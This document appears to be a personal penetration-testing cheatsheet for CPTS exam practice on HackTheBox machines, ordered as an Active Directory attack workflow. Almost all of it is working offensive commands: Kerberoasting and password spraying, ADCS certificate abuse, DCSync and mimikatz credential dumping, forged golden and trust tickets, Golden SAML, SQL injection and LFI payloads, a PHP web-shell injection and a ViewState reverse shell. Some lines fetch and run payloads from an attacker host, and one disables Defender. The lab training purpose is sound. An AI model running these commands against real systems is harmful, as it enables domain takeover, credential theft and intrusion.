Most Used Commands

[!abstract] > ABOUT_THIS_NOTE Master command library merged from my scanning cheatsheet and AD field notes. Ordered as an attack workflow first, then a per-tool reference. Built around the CPTS-prep box list (mostly Windows/AD), so Kerberos, ADCS and ACL abuse lead. For the phased methodology and decision trees, see Attack-Flow-Guide. Set export TARGET=, export IP=$TARGET, export DC=dc01.domain.htb and export DOMAIN=domain.htb before starting.

// ATTACK_WORKFLOW

The order I actually work a box. Windows/AD path is the spine, web/Linux detours branch off recon.

[!tip]+ > THE_LOOP (what to do first, then again)

1. Every time you get new creds or a new hash → re-run BloodHound as that principal, re-spray across SMB/WinRM, and re-check ADCS with certipy. New identity = new outbound control.
2. Every shell → run the “First 5 Commands” for the OS immediately (whoami /all / sudo -l).
3. Kerberos error? → 99% clock skew. Re-run ntpdate. See Phase 0.
4. Stuck on privesc → enumerate again with the new context; upload BloodHound/winPEAS/linPEAS; check whoami /priv.

// MACHINE_→_TECHNIQUE_INDEX

Quick map of the CPTS-prep list to the primary skill each one drills (so I know which section to revise).

[!note] Pattern: 12 of 16 are Windows/AD. Master certipy (ESC1/8/15/16), BloodHound ACL abuse, Kerberos ticket handling, and delegation and you clear most of this list.

// PHASE_0 — SETUP (do this first, every AD box)

[!warning]+ > CLOCK_SKEW — the #1 Kerberos killer Kerberos rejects auth if your clock differs from the DC by more than ~5 min. Sync before any Kerberos/certipy/getTGT step, and again if a box’s time drifts.

sudo ntpdate -u $TARGET          # classic, quickest
# if ntpdate is missing:
sudo apt install ntpdate -y
# modern alternatives:
sudo rdate -n $TARGET
sudo chronyd -q "server $TARGET iburst"
# verify skew vs DC:
nxc smb $TARGET | grep -i time

[!terminal]+ Hosts file + Kerberos realm

# Auto-populate /etc/hosts with DC + domain
sudo nxc smb $TARGET --generate-hosts-file /etc/hosts

# Generate a matching krb5.conf (needed for Kerberos auth)
nxc smb $DC --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# Manual fallback
echo "$TARGET  dc01.domain.htb domain.htb dc01" | sudo tee -a /etc/hosts

nxc smb $TARGET --generate-host-file hosts
cat hosts | sudo tee -a /etc/hosts+

// PHASE_1 — RECON & SCANNING

[!terminal]+ RustScan (preferred) then two-stage nmap

# RustScan auto-feeds open ports into nmap
rustscan -a $IP -u 50000 -r 1-65535 -- -sCV -oA ./recon/target
# Windows / no-ping targets
rustscan -a $IP -u 50000 -r 1-65535 -t 3000 -b 1000 -- -Pn -sCV --max-retries 3 -T4

# Two-stage nmap: discover ports, then deep scan
ports=$(nmap -p- --min-rate=1000 -T4 --open -oG - $IP | grep -oP '\d+(?=/open)' | paste -sd,)
nmap -p $ports -sCV -T4 -Pn $IP -oA ./recon/detailed

# Vuln scripts (high-severity only)
nmap -sV --script "vuln,vulners" --script-args mincvss=7.0 -p $ports $IP -oA ./recon/vuln

[!tip] UDP quick check (DNS/SNMP/NFS often matter): sudo nmap -sU --top-ports 50 $IP

// PHASE_2 — ENUMERATION

> SMB

[!terminal]+

nxc smb $TARGET -u '' -p '' --shares            # null session
nxc smb $TARGET -u guest -p '' --shares
smbmap -H $TARGET -u user -p 'pass' -r          # recursive listing
smbclient //$TARGET/Share -U 'domain\user%pass'
smbclient -N -L //$TARGET                        # anon share list
nxc smb $TARGET -u user -p 'pass' -M spider_plus # loot files

> LDAP / RID / users

[!terminal]+

nxc ldap $DC -u user -p 'pass' --users-export users.txt
nxc smb  $TARGET -u user -p 'pass' --rid-brute
ldapsearch -x -H ldap://$TARGET -b 'DC=domain,DC=htb' > ldap.txt
enum4linux-ng -A $TARGET

> Kerberos user discovery

[!terminal]+

kerbrute userenum -d $DOMAIN --dc $DC /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

> NFS (VulnCicada-style)

[!terminal]+

showmount -e $TARGET
sudo mount -t nfs $TARGET:/share /mnt/nfs -o nolock

> BloodHound (run as EVERY new principal)

[!terminal]+ bloodhound-ce-python (CE ingestor)

bloodhound-ce-python -d $DOMAIN -u user -p 'pass' -ns $TARGET -c All --zip
# Kerberos auth instead of password:
bloodhound-ce-python -d $DOMAIN -u user -k -no-pass -ns $TARGET -c All --zip
# On-target collector (Windows):
#   .\SharpHound.exe -c All --outputdirectory C:\temp

Then start the CE stack (docker compose up), upload the zip, mark owned, run “Shortest paths from Owned”.

// PHASE_3 — CREDENTIAL ATTACKS (AD)

> Kerberoast + ASREPRoast

[!terminal]+

# Kerberoast (SPN accounts) → hashcat -m 13100
impacket-GetUserSPNs -request -dc-ip $DC "$DOMAIN/user:pass" -outputfile kerb.hash
# targeted (when you have GenericWrite over a user)
targetedKerberoast.py -v -d $DOMAIN -u user -p 'pass'

# ASREPRoast (no pre-auth) → hashcat -m 18200
impacket-GetNPUsers $DOMAIN/ -dc-ip $DC -usersfile users.txt -no-pass

> Password spray (after any new password)

[!terminal]+

nxc smb   $TARGET -u users.txt -p 'Season2025!' --continue-on-success
nxc winrm $TARGET -u users.txt -p 'Password1'   --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Welcome1'

> ACL abuse (bloodyAD)

[!terminal]+

# Add self to a group (GenericAll/GenericWrite over group)
bloodyAD --host $DC -d $DOMAIN -u user -p 'pass' add groupMember 'Target Group' user
# Force-change another user's password (ForceChangePassword)
bloodyAD --host $DC -d $DOMAIN -u user -p 'pass' set password targetuser 'NewP@ss123!'
# Grant DCSync (WriteDacl on domain)
bloodyAD --host $DC -d $DOMAIN -u user -p 'pass' add dcsync user

> Shadow Credentials (GenericWrite over a user → NT hash)

[!terminal]+

certipy shadow auto -u user@$DOMAIN -p 'pass' -account targetuser
# -> returns TGT (.ccache) AND the NT hash for targetuser

> gMSA password read (TombWatcher/Ghost)

[!terminal]+

nxc ldap $DC -u user -p 'pass' --gmsa
gMSADumper.py -u user -p 'pass' -d $DOMAIN
bloodyAD --host $DC -d $DOMAIN -u user -p 'pass' get object 'svc_gmsa$' --attr msDS-ManagedPassword

> DPAPI (Voleur)

[!terminal]+

impacket-dpapi masterkey -file masterkey -sid <SID> -password 'pass'
impacket-dpapi credential -file <cred_blob> -key <decrypted_masterkey>
nxc smb $TARGET -u user -p 'pass' --dpapi

> Deleted object / AD Recycle Bin (TombWatcher/Voleur)

[!terminal]+

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Restore-ADObject -Identity <GUID>

> Coercion (VulnCicada — feeds ESC8/relay)

[!terminal]+

coercer coerce -u user -p 'pass' -d $DOMAIN -t $DC -l $LHOST
petitpotam.py -u user -p 'pass' -d $DOMAIN $LHOST $DC

> Delegation — RBCD & constrained (Redelegate)

[!terminal]+

# Constrained delegation w/ SeEnableDelegationPrivilege → S4U impersonation
impacket-getST -spn 'cifs/dc01.domain.htb' -impersonate administrator \
  -dc-ip $DC "$DOMAIN/FS01\$:MachinePass"
export KRB5CCNAME=administrator.ccache

# RBCD (GenericWrite/GenericAll over a computer)
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write \
  "$DOMAIN/user:pass"

// PHASE_6a — ADCS / CERTIPY (ESC1 / ESC8 / ESC15 / ESC16)

[!terminal]+ Find (update certipy first — ESC16 is recent)

uv tool upgrade certipy-ad
certipy find -u user@$DOMAIN -p 'pass' -dc-ip $DC -vulnerable -stdout
# with a hash:
certipy find -u user@$DOMAIN -hashes :<NT> -dc-ip $DC -vulnerable -stdout

[!terminal]+ ESC1 — enrollee supplies SAN (Authority)

certipy req -u user@$DOMAIN -p 'pass' -dc-ip $DC -target $DC \
  -ca CA-NAME -template VulnTemplate -upn administrator@$DOMAIN
certipy auth -pfx administrator.pfx -dc-ip $DC

[!terminal]+ ESC8 — NTLM relay to web enrollment (VulnCicada)

certipy relay -target 'http://$DC' -template DomainController
# then coerce the DC (PetitPotam/coercer) → cert as DC$ → DCSync

[!terminal]+ ESC15 (CVE-2024-49019) — v1 template app-policy injection (TombWatcher)

certipy req -u user@$DOMAIN -p 'pass' -dc-ip $DC -ca CA-NAME -template WebServer \
  -upn administrator@$DOMAIN -application-policies 'Client Authentication'

[!terminal]+ ESC16 — security extension disabled globally (Fluffy)

# 1. hijack a controlled account's UPN to the target
certipy account -u ctrl@$DOMAIN -hashes :<NT> -user ca_svc -upn administrator update
# 2. request as that account
certipy req -u ca_svc -hashes :<NT> -dc-ip $DC -target $DC -ca CA-NAME -template User
# 3. restore UPN, then auth
certipy account -u ctrl@$DOMAIN -hashes :<NT> -user ca_svc -upn ca_svc@$DOMAIN update
certipy auth -pfx administrator.pfx -dc-ip $DC -domain $DOMAIN

[!tip] PassTheCert (when the PFX can’t get a TGT but can LDAP-bind — Authority)

python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain $DOMAIN -dc-ip $DC

// CRACKING

[!example]+ > HASHCAT_MODES

Hash	Mode	Command
NetNTLMv2 (Responder)	5600	hashcat -m 5600 hash rockyou.txt
Kerberoast TGS	13100	hashcat -m 13100 kerb.hash rockyou.txt
ASREPRoast	18200	hashcat -m 18200 hash rockyou.txt
NTLM (raw)	1000	hashcat -m 1000 hash rockyou.txt
NetNTLMv1	5500	hashcat -m 5500 hash rockyou.txt
DCC2 (cached)	2100	hashcat -m 2100 hash rockyou.txt
KeePass	13400	hashcat -m 13400 keepass.hash rockyou.txt
Not sure?	—	hashcat --identify hash

[!terminal]+ *2john extractors (Jeeves / Authority / Postman / Redelegate)

keepass2john Database.kdbx > keepass.hash       # KeePass
ansible2john vault.yml       > vault.hash        # Ansible Vault
ssh2john id_rsa              > id_rsa.hash        # encrypted SSH key
john --wordlist=/usr/share/wordlists/rockyou.txt <hash>

[!terminal]+ Python hash one-liners (NTLM etc)

python3 -c "import hashlib; print(hashlib.new('md4', input('Pass: ').encode('utf-16le')).hexdigest())"  # NTLM

// SHELLS & LATERAL MOVEMENT

[!terminal]+ evil-winrm (password / hash / Kerberos ccache)

evil-winrm -i $IP -u user -p 'pass'
evil-winrm -i $IP -u administrator -H <NT_HASH>          # pass-the-hash
export KRB5CCNAME=administrator.ccache
evil-winrm -i $IP -r $DOMAIN                              # Kerberos (needs FQDN in /etc/hosts)
# in-session: upload/download, Bypass-4MSI, services

[!terminal]+ impacket remote exec (PtH-friendly)

impacket-psexec  "$DOMAIN/administrator:pass@$IP"        # SYSTEM, noisy (service)
impacket-wmiexec -hashes :<NT> administrator@$IP          # stealthier
impacket-smbexec "$DOMAIN/administrator:pass@$IP"
impacket-atexec  -hashes :<NT> administrator@$IP "whoami" # via scheduler

[!terminal]+ netexec spray & command

nxc smb   $IP/24 -u user -p 'pass' -d $DOMAIN            # spray subnet
nxc smb   $IP    -d . -u administrator -H <NT>           # -d . = LOCAL account
nxc winrm $IP    -u user -p 'pass' -x "whoami"           # (Pwn3d!) = admin

// CREDENTIAL DUMPING

[!terminal]+ impacket-secretsdump (SAM / LSA / NTDS / DCSync)

impacket-secretsdump "$DOMAIN/user:pass@$IP"                     # local SAM+LSA
impacket-secretsdump -hashes :<NT> administrator@$IP             # PtH
impacket-secretsdump "$DOMAIN/administrator:pass@$DC" -just-dc   # full DCSync (NTDS)
impacket-secretsdump "$DOMAIN/administrator:pass@$DC" -just-dc-user krbtgt

Output format: user:RID:LMhash:NThash::: → the NT hash (last) is what you PtH.

[!terminal]+ mimikatz / meterpreter kiwi (on-target, needs SYSTEM)

privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::dcsync /user:domain\administrator
sekurlsa::pth /user:administrator /domain:domain.htb /ntlm:<NT> /run:cmd.exe

// WINDOWS PRIVESC

[!terminal]+ First 5 commands (run on every Windows shell)

whoami /all           # user, groups AND privileges (SeImpersonate/SeDebug/SeBackup)
net user; net localgroup administrators
systeminfo            # build + hotfixes + domain
ipconfig /all         # pivot subnets
whoami /priv

[!tip]+ Privilege → exploit map

• SeImpersonate → GodPotato / PrintSpoofer (FullPowers first if svc account) — Media
• SeDebug → inject LSASS / meterpreter migrate — Pov
• SeBackup / SeRestore → read/write any file (dump SAM/NTDS)
• SeEnableDelegation → constrained delegation S4U — Redelegate

.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c powershell

[!terminal]+ Web-specific footholds

# ViewState deserialization (Pov): leak web.config keys via LFI, then:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --generator=<__VIEWSTATEGENERATOR> --validationkey=<KEY> --validationalg=SHA1 \
  -c "cmd" 
# LAPS read (StreamIO): 
nxc ldap $DC -u user -p 'pass' -M laps

// LINUX PRIVESC

[!terminal]+ First commands + quick wins

whoami && id
sudo -l                                    # check FIRST
find / -perm -u=s -type f 2>/dev/null      # SUID → GTFOBins
cat /etc/crontab; ls -la /etc/cron.*
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# TTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'   # then Ctrl+Z; stty raw -echo; fg

[!terminal]+ DNS attacks (Trick / Snoopy)

dig axfr @$TARGET domain.htb                # zone transfer → subdomains
# nsupdate with leaked TSIG key (Snoopy)
nsupdate -k Kkey.private
> update add mail.domain.htb 60 A $LHOST
> send

// PIVOTING

[!terminal]+ ligolo-ng (preferred) / chisel

# ligolo-ng (agentless-feel, TUN based)
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up
./proxy -selfcert                                  # attacker
./agent -connect $LHOST:11601 -ignore-cert          # target

# chisel reverse SOCKS
./chisel server -p 8000 --reverse                   # attacker
./chisel client $LHOST:8000 R:socks                 # target

// FILE TRANSFER

[!terminal]+

# Attacker
python3 -m http.server 80
sudo impacket-smbserver SHARE . -smb2support -user t -password t
# Windows target
iwr -uri http://$LHOST/f.exe -outfile C:\temp\f.exe
certutil -urlcache -f http://$LHOST/f.exe C:\temp\f.exe
# Linux target
wget http://$LHOST/x -O /tmp/x; curl http://$LHOST/x -o /tmp/x

// DOCUMENTATION (asciinema)

[!terminal]+

asciinema rec ~/captures/$(date +%Y%m%d)_$TARGET.cast
agg demo.cast demo.gif --idle-time-limit 2 --speed 2      # cast → gif
sha256sum captures/* screenshots/* > evidence_$(date +%Y%m%d).txt

// WEB EXPLOITATION

[!terminal]+ Recon (vhost + dirs + params)

ffuf -u http://$IP -H "Host: FUZZ.domain.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
ffuf -u "http://target/admin/?FUZZ=" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt   # hidden params (StreamIO debug)
feroxbuster -u http://target -x php,aspx -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt   # lowercase for IIS

[!terminal]+ SQL injection

# auth bypass
username: admin' or 1=1;-- -
# sqlmap from a saved request (file read, dump)
sqlmap -r login.req --batch --technique B --level 5 --threads 10
sqlmap -r login.req --batch --file-read=/etc/passwd            # read files
sqlmap -r login.req --batch -D db -T users --dump
# MSSQL union creds dump (StreamIO)
' union select 1,CONCAT(username,':',password),3,4,5,6 from users;-- -

[!terminal]+ LFI / file-read / poisoning (Trick, StreamIO)

# str_replace('../') bypass:
?page=....//....//....//etc/passwd
# PHP filter source leak:
?page=php://filter/convert.base64-encode/resource=index.php
# mail poisoning: swaks --to user --body '<?php system($_REQUEST["cmd"]); ?>' --server $IP
# then ?page=....//var/mail/user&cmd=id

[!terminal]+ ViewState deserialization (Pov)

ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" \
  --decryptionkey="<web.config key>" --validationalg="SHA1" --validationkey="<key>" \
  --path="/portfolio" -c "powershell -e <b64 revshell>"
# paste result into __VIEWSTATE POST param

[!tip] Known-software footholds: Jenkins script console (println "cmd /c whoami".execute().text), Gitea creds → source + commit history for leaked creds/keys, Redis unauth SSH-key write, Webmin CVE-2019-12840, python eval API (Craft), LDAP injection (*/*, brute attributes).

// MSSQL

[!terminal]+ Connect + enumerate + linked servers (Redelegate, Ghost, StreamIO)

mssqlclient.py SQLGuest:pass@$DC                    # add -windows-auth for domain
netexec mssql $DC -u sa -p pass --local-auth        # spray, --local-auth for SQL logins
# in the shell:
enum_db ; enable_xp_cmdshell ; xp_cmdshell whoami
# capture NetNTLMv2 via xp_dirtree (run Responder first)
EXEC xp_dirtree '\\10.10.14.6\share'
# linked-server impersonation → sa → RCE (Ghost)
SELECT * FROM OPENQUERY("PRIMARY", 'select CURRENT_USER')
EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "xp_cmdshell",1; reconfigure; exec xp_cmdshell "cmd"') AT [PRIMARY]
# RID-brute domain users through MSSQL (Redelegate) — see msf: auxiliary/admin/mssql/mssql_enum_domain_accounts

// ADFS GOLDEN SAML (Ghost)

[!terminal]+ As the ADFS gMSA service account

ADFSDump.exe                     # dump token-signing key + private key + config
# format: private key -> binary, token key -> base64 -d
python ADFSpoof.py -b encrypted_token_signing_key.bin private_key.bin -s core.domain \
  saml2 --endpoint 'https://core.domain:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid 'Administrator@domain' --rpidentifier 'https://core.domain:8443' \
  --assertions '<Attribute Name="...upn"><AttributeValue>Administrator@domain</AttributeValue></Attribute>'
# paste SAMLResponse into the /adfs/saml/postResponse POST

// CROSS-DOMAIN / FOREST (Ghost)

[!terminal]+ Trust ticket & golden ticket

# dump trust account + krbtgt (as SYSTEM on child DC)
mimikatz "lsadump::dcsync /all /csv" exit
# forged inter-domain trust ticket (child -> parent Enterprise Admins)
ticketer.py -nthash <TRUST$ NT> -domain-sid <child SID> -domain child.dom \
  -extra-sid <parent-SID>-519 -spn krbtgt/parent.dom dummy
KRB5CCNAME=dummy.ccache getST.py -k -no-pass -spn cifs/dc01.parent.dom child.dom/dummy@parent.dom
# or golden ticket with Rubeus
Rubeus.exe golden /aes256:<krbtgt aes> /ldap /user:Administrator /sids:<parent-SID>-519 /ptt

// DNS ATTACKS (Trick, Snoopy)

[!terminal]+

dig axfr domain.htb @$IP                          # zone transfer → subdomains
# dynamic update with leaked TSIG/rndc key
nsupdate -k rndc.key
> server $IP
> zone domain.htb
> update add mail.domain.htb 86400 A 10.10.14.6
> send
# add DNS record as any domain user (feeds Responder coercion — Ghost)
python dnstool.py -u domain\\user -k -a add -r bitbucket --zone domain.htb --data $LHOST -dns-ip $DC DC.domain.htb

// AD RECYCLE BIN / DELETED OBJECTS (TombWatcher, Voleur)

[!terminal]+

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent
Restore-ADObject -Identity <GUID>
Set-ADAccountPassword <user> -NewPassword (ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force)

# or via NetExec tombstone module (Voleur)
nxc ldap $DC -u svc -p pw -k -M tombstone -o ACTION=query
nxc ldap $DC -u svc -p pw -k -M tombstone -o ACTION=restore ID=<GUID> SCHEME=ldap

// WINDOWS PRIVESC — extras

[!terminal]+ Potatoes, ADS, junctions (Media, Ghost, Jeeves)

# SeImpersonate: FullPowers restores stripped privs, then a potato
.\FullPowers.exe -c 'cmd /c <payload>' -z
.\GodPotato-NET4.exe -cmd "cmd /c <payload>"
# if Defender eats GodPotato, compile EfsPotato on-box:
C:\Windows\Microsoft.net\framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Set-MpPreference -DisableRealtimeMonitoring $True     # once you can
# Alternate Data Stream (Jeeves)
dir /R ; more < hm.txt:root.txt
# junction point → make a service write into web root (Media)
cmd /c mklink /J C:\target\dir C:\xampp\htdocs

// LINUX PRIVESC — extras (Postman, Trick, Craft, Snoopy)

[!terminal]+

# sudo -l wins seen on the box list:
#  fail2ban action rewrite (Trick): edit actionban in /etc/fail2ban/action.d/iptables-multiport.conf
#  git apply symlink CVE-2023-23946 (Snoopy)
#  clamscan --file-list <file> reads root.txt/id_rsa; or XXE CVE-2023-20052 (Snoopy)
# Webmin CVE-2019-12840 (Postman) — Package Updates module RCE as root
# HashiCorp Vault SSH OTP (Craft):
vault ssh -mode=otp -role=root_otp root@127.0.0.1
# SSH ControlMaster socket reuse in a container (Ghost):
ssh user@host   # reuses ~/.ssh/controlmaster/*@host:22 without creds

// REFERENCES

[!info]+ > WRITEUP_SOURCES (used to build the workflow)

• Fluffy, TombWatcher, Redelegate, VulnCicada, Media, Pov, Snoopy, Authority, StreamIO — 0xdf
• Certipy Wiki — ESC techniques
• The Hacker Recipes — AD
• HackTricks — AD methodology
• GTFOBins · LOLBAS · NetExec wiki

#Command-Reference #Cheatsheet #CPTS-Prep #AD #ADCS #Kerberos #Enumeration #Privilege-Escalation #HTB